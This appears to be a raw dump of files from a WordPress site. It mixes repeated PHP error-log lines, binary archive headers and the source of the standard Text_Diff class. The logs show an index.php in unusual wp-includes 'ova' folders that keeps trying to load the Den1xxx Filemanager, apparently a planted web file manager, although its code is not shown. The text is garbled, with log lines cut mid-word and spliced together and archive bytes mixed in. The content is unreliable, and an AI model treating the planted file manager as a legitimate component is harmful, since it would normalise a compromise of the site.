/home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:29:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:31:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 11:00:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by al[30-Aug-2025 12:37:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:37:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:52:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:53:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:26:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /[31-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:16:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:16:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 PK j[F\ Diff.php.php.tar.gznu[PKj[][7[7  index.phpnu[PKj[_}o sDova.tar.gznu[PKj[×ova.tarnu[PKj[Y:: Diff.php.tarnu[PKj[,6=ee "error_lognu[PK%YPKS'#[Y:: Diff.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } PKS'#[Osqsq error_lognu[[29-Aug-2025 22:54:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [29-Aug-2025 22:54:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [29-Aug-2025 23:40:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [29-Aug-2025 23:40:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 04:07:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 04:07:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 04:45:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 04:45:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 04:45:50 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 669 [30-Aug-2025 05:09:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:09:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:11:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:11:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:23:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:23:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:23:48 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.p[30-Aug-2025 05:30:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:30:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:30:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 05:30:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 11:36:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 11:36:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 12:00:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 12:00:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 13:36:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 13:37:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 23:09:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 23:09:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [30-Aug-2025 23:09:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 669 [31-Aug-2025 00:17:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [31-Aug-2025 00:17:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php 